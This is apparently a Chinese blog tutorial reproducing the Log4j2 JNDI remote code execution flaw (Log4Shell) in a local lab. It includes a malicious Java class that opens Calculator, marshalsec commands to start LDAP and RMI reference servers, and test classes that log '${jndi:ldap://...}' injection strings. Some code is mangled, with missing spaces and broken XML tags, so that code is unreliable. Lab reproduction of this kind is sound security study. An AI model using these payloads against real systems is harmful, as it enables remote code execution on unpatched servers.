Log4j2漏洞复现

简介: 由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执⾏漏洞。

漏洞简介



漏洞概述
由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。
影响版本
Apache Log4j 2.x<=2.15.0.rc1
影响范围
Spring-Boot-strater-log4j2Apache
Struts2Apache
SolrApache
FlinkApache
DruidElasticSearch
Flume
Dubbo
Redis
Logstash
Kafka
vmvare



复现过程



恶意类


编写一个恶意类Exploit,这里以弹出计算器为例。

publicclassExploit {

   publicExploit() {

       try {

           String[] commands=newString[]{"open", "/System/Applications/Calculator.app"};

           Processpc=Runtime.getRuntime().exec(commands);

           pc.waitFor();

       } catch (Exceptionvar3) {

           var3.printStackTrace();

       }

   }

   publicstaticvoidmain(String[] argv) {

       newExploit();

   }

}


将这个类进行编译,在编译生成的.class文件目录下启动一个web服务。

python3-mhttp.server8000


marshalsec


marshalsec这款工具,可以快速开启RMI和LDAP服务。GitHub:https://github.com/mbechler/marshalsec

clone到本地后使用maven编译。

mvn clean package -DskipTests


编译完成后在当前目录会生成一个target文件夹,里面有我们需要的jar包marshalsec-0.0.3-SNAPSHOT-all.jar


启动LDAP服务


java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Expliot"8080          

#8088是启动LDAP服务的端口号,若端口号为空,则使用默认端口:1389。


启动RMI服务


java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:8888/#Expliot"  9090          

#9090是启动LDAP服务的端口号,若端口号为空,则使用默认端口:1099。


漏洞利用



创建一个maven工程,引入jar包依赖。

<dependencies>

   

   <dependency>

       <groupId>org.apache.logging.log4jgroupId>

       <artifactId>log4j-apiartifactId>

       <version>2.14.0version>

   dependency>

   

   <dependency>

       <groupId>org.apache.logging.log4jgroupId>

       <artifactId>log4j-coreartifactId>

       <version>2.14.0version>

   <dependency>

<dependencies>


LADP协议注入


创建测试类:

importorg.apache.logging.log4j.LogManager;

importorg.apache.logging.log4j.Logger;

publicclassldap {

   privatestaticfinalLoggerlogger=LogManager.getLogger(ldap.class);

   publicstaticvoidmain(String[] args) {

       System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

       logger.error("${jndi:ldap://127.0.0.1:1389/Exploit}");

   }

}


RMI协议注入


创造测试类:

importorg.apache.logging.log4j.LogManager;

importorg.apache.logging.log4j.Logger;

publicclassrmi {

   privatestaticfinalLoggerlog=LogManager.getLogger();

   publicstaticvoidmain(String[] args) {

       System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

       log.error("${jndi:rmi://0.0.0.0:1099/Exploit}");

   }

}


运行上面两个类,成功调用出计算器。

image.png

目录
相关文章
|
消息中间件 弹性计算 物联网
MQTT常见问题之发布MQTT主题消息失败如何解决
MQTT(Message Queuing Telemetry Transport)是一个轻量级的、基于发布/订阅模式的消息协议,广泛用于物联网(IoT)中设备间的通信。以下是MQTT使用过程中可能遇到的一些常见问题及其答案的汇总:
|
Ubuntu 数据安全/隐私保护 芯片
M1/M2芯片Parallels Desktop虚拟机安装Ubuntu系统
M1/M2芯片Parallels Desktop虚拟机安装Ubuntu系统
1184 0
M1/M2芯片Parallels Desktop虚拟机安装Ubuntu系统
|
3月前
|
人工智能 监控 算法
迈向“可解释性GEO”:AI搜索时代的深度思考与实践探索
资深从业者王耀恒融合15年经验,首创可解释性GEO方法论,破解AI搜索黑箱。通过分层战略框架与闭环技术体系,助力企业构建可持续的数字信任资产,推动AI内容生态健康发展。(239字)
|
机器学习/深度学习 人工智能 自然语言处理
【EMNLP2024】面向长文本的文视频表征学习与检索模型 VideoCLIP-XL
阿里云人工智能平台 PAI 与华南理工大学金连文教授团队合作,在自然语言处理顶会 EMNLP 2024 上发表论文《VideoCLIP-XL: Advancing Long Description Understanding for Video CLIP Models》。VideoCLIP-XL 模型,有效地提升了对视频的长文本描述的理解能力。
|
存储 缓存 算法
python中递归深度超限(RecursionError)
【7月更文挑战第15天】
823 1
|
安全 Shell PHP
wzsc_文件上传(条件竞争)
wzsc_文件上传(条件竞争)
575 0
|
消息中间件 分布式计算 Kafka
MaxCompute 在实时数据分析中的角色
【8月更文第31天】随着大数据应用场景的不断扩展,对数据处理速度的要求越来越高,传统的批处理模式已经难以满足某些业务对实时性的需求。在这种背景下,实时数据处理成为了大数据领域的研究热点之一。阿里云的 MaxCompute 虽然主要用于离线数据处理,但通过与其他实时流处理系统(如 Apache Flink 或 Kafka Streams)的集成,也可以参与到实时数据分析中。本文将探讨 MaxCompute 在实时数据分析中的角色,并介绍如何将 MaxCompute 与 Flink 结合使用。
372 0
|
数据采集 测试技术
常见测试测量接口的比较:PXI、PXIe、PCI、VXI、GPIB、USB
常见测试测量接口的比较:PXI、PXIe、PCI、VXI、GPIB、USB
756 2
|
网络协议 Shell Linux
MSSQL站库分离注入绕过WDF提权
MSSQL站库分离注入绕过WDF提权
625 0
|
安全 网络协议 Oracle
浅谈Log4j2不借助dnslog的检测(一)
浅谈Log4j2不借助dnslog的检测
741 0
浅谈Log4j2不借助dnslog的检测(一)